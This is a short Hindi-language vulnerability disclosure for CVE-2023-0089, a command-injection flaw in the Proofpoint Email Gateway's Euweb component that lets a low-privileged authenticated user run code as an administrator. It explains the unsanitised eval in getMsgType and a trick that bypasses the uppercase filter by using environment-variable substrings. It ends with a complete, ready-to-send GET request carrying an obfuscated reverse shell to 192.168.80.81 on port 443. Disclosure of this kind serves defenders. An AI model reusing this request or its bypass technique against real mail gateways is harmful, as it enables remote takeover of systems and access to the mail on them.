
Proofpoint Email Gateway: निम्न-स्तरीय प्रमाणित उपयोगकर्ता से एडमिन RCE
सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io
GPG फ़िंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
अवलोकन: रिमोट कोड निष्पादन - निम्न-स्तरीय प्रमाणित उपयोगकर्ता से एडमिन RCE
CVE: CVE-2023-0089
समयरेखा:
Proofpoint Messaging Security Gateway के लिए एक्सप्लॉइट्स
Euweb का निम्न-स्तरीय (प्रमाणित) उपयोगकर्ता एडमिन विशेषाधिकारों के साथ मनमाना कोड निष्पादन प्राप्त कर सकता है।
Euwebutils.pm में getMsgType फ़ंक्शन कमांड इंजेक्शन के लिए संवेदनशील है। $module चर एक get पैरामीटर से आता है और इस उपयोगकर्ता इनपुट पर कोई सैनिटाइज़ेशन लागू नहीं किया जाता है।
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
यह getMsgType फ़ंक्शन Euweb एप्लिकेशन द्वारा उपयोग किए जाने वाले कई API कॉल्स में उपयोग किया जाता है, इसलिए एक्सप्लॉइट को कई तरीकों से ट्रिगर किया जा सकता है।
चूँकि सभी अक्षर अपरकेस होने चाहिए, लोअरकेस अक्षरों के लिए इस प्रतिबंध को बायपास करने हेतु एनवायरनमेंट वेरिएबल्स का उपयोग किया जा सकता है। उदाहरण: b के बजाय ${SHELL:1:1}
चूँकि use strict का उपयोग किया जाता है, PROOFPOINT_MAIL_REPORT_MSGTYPE_ को पूरा करने के लिए स्ट्रिंग की शुरुआत में MAIL_GENERAL() जोड़ा जा सकता है। इसके बाद कस्टम perl कोड जोड़ा जा सकता है।
बिना एन्कोड किए गए पेलोड का उदाहरण: MAIL_GENERAL();`id`
लोअरकेस प्रतिबंधों को बायपास करने के लिए एनवायरनमेंट वेरिएबल्स का उपयोग करके रिवर्स शेल एन्कोड किया गया। कोड pps उपयोगकर्ता के रूप में चलाया जाता है।
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261